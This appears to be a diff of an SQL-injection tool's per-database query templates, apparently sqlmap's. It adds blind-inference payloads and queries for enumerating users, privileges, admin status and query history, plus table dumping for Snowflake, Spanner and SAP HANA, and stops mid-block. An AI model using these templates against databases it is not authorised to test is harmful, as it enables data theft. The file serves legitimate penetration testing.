|
<length query="length(%s)"/>
|
||||||
|
<hex query="hex(%s)"/>
|
||||||
<isnull query="ifNull(%s, '')"/>
|
<isnull query="ifNull(%s, '')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="LIMIT %d OFFSET %d"/>
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
@@ -1342,7 +1387,7 @@
|
|||||||
<hostname query="hostName()"/>
|
<hostname query="hostName()"/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
<is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
|
<is_dba query="(SELECT count() FROM system.grants WHERE user_name=currentUser() AND access_type='ALL')>0"/>
|
||||||
<check_udf/>
|
<check_udf/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT name FROM system.users"/>
|
<inband query="SELECT name FROM system.users"/>
|
||||||
@@ -1423,7 +1468,7 @@
|
|||||||
<passwords/>
|
<passwords/>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
||||||
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
|
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
|
||||||
</privileges>
|
</privileges>
|
||||||
<roles/>
|
<roles/>
|
||||||
<statements>
|
<statements>
|
||||||
@@ -1444,7 +1489,8 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||||
@@ -1483,7 +1529,7 @@
|
|||||||
<current_db query="CURRENT_USER"/>
|
<current_db query="CURRENT_USER"/>
|
||||||
<hostname/>
|
<hostname/>
|
||||||
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
||||||
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||||
<is_dba query="CURRENT_USER='DBA'"/>
|
<is_dba query="CURRENT_USER='DBA'"/>
|
||||||
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
||||||
<users>
|
<users>
|
||||||
@@ -1506,12 +1552,12 @@
|
|||||||
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
|
||||||
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
||||||
@@ -1522,8 +1568,8 @@
|
|||||||
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column>
|
<search_column>
|
||||||
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
<inband query="SELECT db_class.owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
|
||||||
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
<blind query="SELECT DISTINCT(db_class.owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" count="SELECT COUNT(DISTINCT(db_class.owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -1622,7 +1668,7 @@
|
|||||||
<columns/>
|
<columns/>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db/>
|
<search_db/>
|
||||||
<search_table/>
|
<search_table/>
|
||||||
@@ -1679,7 +1725,7 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT TOP (%d,1) %s FROM %s.%s ORDER BY %s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||||
@@ -1712,6 +1758,7 @@
|
|||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (IF(%s,1,0))"/>
|
<case query="SELECT (IF(%s,1,0))"/>
|
||||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
<banner/>
|
<banner/>
|
||||||
<current_user/>
|
<current_user/>
|
||||||
<current_db/>
|
<current_db/>
|
||||||
@@ -1751,6 +1798,7 @@
|
|||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
<banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
|
<banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
|
||||||
<current_user query="USERNAME()"/>
|
<current_user query="USERNAME()"/>
|
||||||
<current_db query="UPPER(USERNAME())"/>
|
<current_db query="UPPER(USERNAME())"/>
|
||||||
@@ -1785,4 +1833,198 @@
|
|||||||
<search_table/>
|
<search_table/>
|
||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Snowflake">
|
||||||
|
<cast query="CAST(%s AS VARCHAR)"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="NVL(%s, ' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring query=" LIMIT "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||||
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
|
<banner query="CURRENT_VERSION()"/>
|
||||||
|
<current_user query="CURRENT_USER()"/>
|
||||||
|
<current_db query="CURRENT_SCHEMA()"/>
|
||||||
|
<hostname query="PARSE_JSON(SYSTEM$ALLOWLIST())[0]:host"/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN' OR ARRAY_CONTAINS('ACCOUNTADMIN'::VARIANT,PARSE_JSON(CURRENT_AVAILABLE_ROLES()))"/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" condition="TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA"/>
|
||||||
|
<blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' ORDER BY TABLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'"/>
|
||||||
|
<blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT NAME FROM SNOWFLAKE.ACCOUNT_USAGE.USERS"/>
|
||||||
|
<blind query="SELECT NAME FROM SNOWFLAKE.ACCOUNT_USAGE.USERS LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SNOWFLAKE.ACCOUNT_USAGE.USERS"/>
|
||||||
|
</users>
|
||||||
|
<roles/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT DISTINCT T1.GRANTEE_NAME, T2.PRIVILEGE FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_USERS AS T1 JOIN SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_ROLES AS T2 ON T1.ROLE = T2.GRANTEE_NAME" condition="T1.GRANTEE_NAME"/>
|
||||||
|
<blind query="SELECT DISTINCT T2.PRIVILEGE FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_USERS AS T1 JOIN SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_ROLES AS T2 ON T1.ROLE = T2.GRANTEE_NAME WHERE T1.GRANTEE_NAME='%s' ORDER BY T2.PRIVILEGE LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT T2.PRIVILEGE) FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_USERS AS T1 JOIN SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_ROLES AS T2 ON T1.ROLE = T2.GRANTEE_NAME WHERE T1.GRANTEE_NAME='%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<statements>
|
||||||
|
<inband query="SELECT QUERY_TEXT FROM TABLE(INFORMATION_SCHEMA.QUERY_HISTORY())"/>
|
||||||
|
<blind query="SELECT QUERY_TEXT FROM TABLE(INFORMATION_SCHEMA.QUERY_HISTORY()) ORDER BY START_TIME DESC LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM TABLE(INFORMATION_SCHEMA.QUERY_HISTORY())"/>
|
||||||
|
</statements>
|
||||||
|
<search_db/>
|
||||||
|
<search_table/>
|
||||||
|
<search_column/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Spanner">
|
||||||
|
<cast query="CAST(%s AS STRING)"/>
|
||||||
|
<length query="CHAR_LENGTH(CAST(%s AS STRING))"/>
|
||||||
|
<isnull query="IFNULL(CAST(%s AS STRING),' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring query=" OFFSET "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="#"/>
|
||||||
|
<substring query="SUBSTR(CAST((%s) AS STRING),%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
|
<hex query="TO_HEX(CAST(%s AS BYTES))"/>
|
||||||
|
<inference query="TO_CODE_POINTS(SUBSTR(CAST((%s) AS STRING),%d,1))[SAFE_OFFSET(0)]>%d"/>
|
||||||
|
<banner query="'Google Cloud Spanner'"/>
|
||||||
|
<current_user/>
|
||||||
|
<current_db/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba/>
|
||||||
|
<users/>
|
||||||
|
<passwords/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements>
|
||||||
|
<inband query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
|
||||||
|
<blind query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE" count="SELECT COUNT(text) FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
|
||||||
|
</statements>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
<blind query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA GROUP BY schema_name ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||||
|
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
|
||||||
|
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY column_name" query2="SELECT spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="SAP HANA">
|
||||||
|
<cast query="CAST(%s AS VARCHAR(5000))"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="IFNULL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="LIMIT %d OFFSET %d"/>
|
||||||
|
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="2"/>
|
||||||
|
<limitgroupstop query="1"/>
|
||||||
|
<limitstring query=" OFFSET "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<substring query="SUBSTRING(%s,%d,%d)"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM DUMMY"/>
|
||||||
|
<hex query="BINTOHEX(TO_BINARY(%s))"/>
|
||||||
|
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<banner query="SELECT VERSION FROM SYS.M_DATABASE"/>
|
||||||
|
<current_user query="SELECT CURRENT_USER FROM DUMMY"/>
|
||||||
|
<current_db query="SELECT CURRENT_SCHEMA FROM DUMMY"/>
|
||||||
|
<hostname query="SELECT HOST FROM SYS.M_HOST_INFORMATION WHERE KEY='host_name'"/>
|
||||||
|
<table_comment query="SELECT COMMENTS FROM SYS.TABLES WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s'"/>
|
||||||
|
<column_comment query="SELECT COMMENTS FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
|
||||||
|
<is_dba query="EXISTS(SELECT 1 FROM SYS.EFFECTIVE_PRIVILEGES WHERE USER_NAME=CURRENT_USER AND PRIVILEGE IN ('DATA ADMIN','USER ADMIN','ROLE ADMIN'))"/>
|
||||||
|
<check_udf/>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT USER_NAME FROM SYS.USERS"/>
|
||||||
|
<blind query="SELECT USER_NAME FROM SYS.USERS ORDER BY USER_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.USERS"/>
|
||||||
|
</users>
|
||||||
|
<passwords/>
|
||||||
|
<privileges>
|
||||||
|
<inband query="SELECT GRANTEE,PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE'" condition="grantee"/>
|
||||||
|
<blind query="SELECT PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s' ORDER BY PRIVILEGE LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s'"/>
|
||||||
|
</privileges>
|
||||||
|
<roles>
|
||||||
|
<inband query="SELECT GRANTEE,ROLE_NAME FROM SYS.GRANTED_ROLES" condition="grantee"/>
|
||||||
|
<blind query="SELECT ROLE_NAME FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s' ORDER BY ROLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s'"/>
|
||||||
|
</roles>
|
||||||
|
<statements>
|
||||||
|
<inband query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE"/>
|
||||||
|
<blind query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE ORDER BY LAST_EXECUTION_TIMESTAMP DESC LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.M_SQL_PLAN_CACHE"/>
|
||||||
|
</statements>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS"/>
|
||||||
|
<blind query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.SCHEMAS"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT SCHEMA_NAME,OBJECT_NAME FROM SYS.OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="schema_name"/>
|
||||||
|
<blind query="SELECT OBJECT_NAME FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') ORDER BY OBJECT_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
|
||||||
|
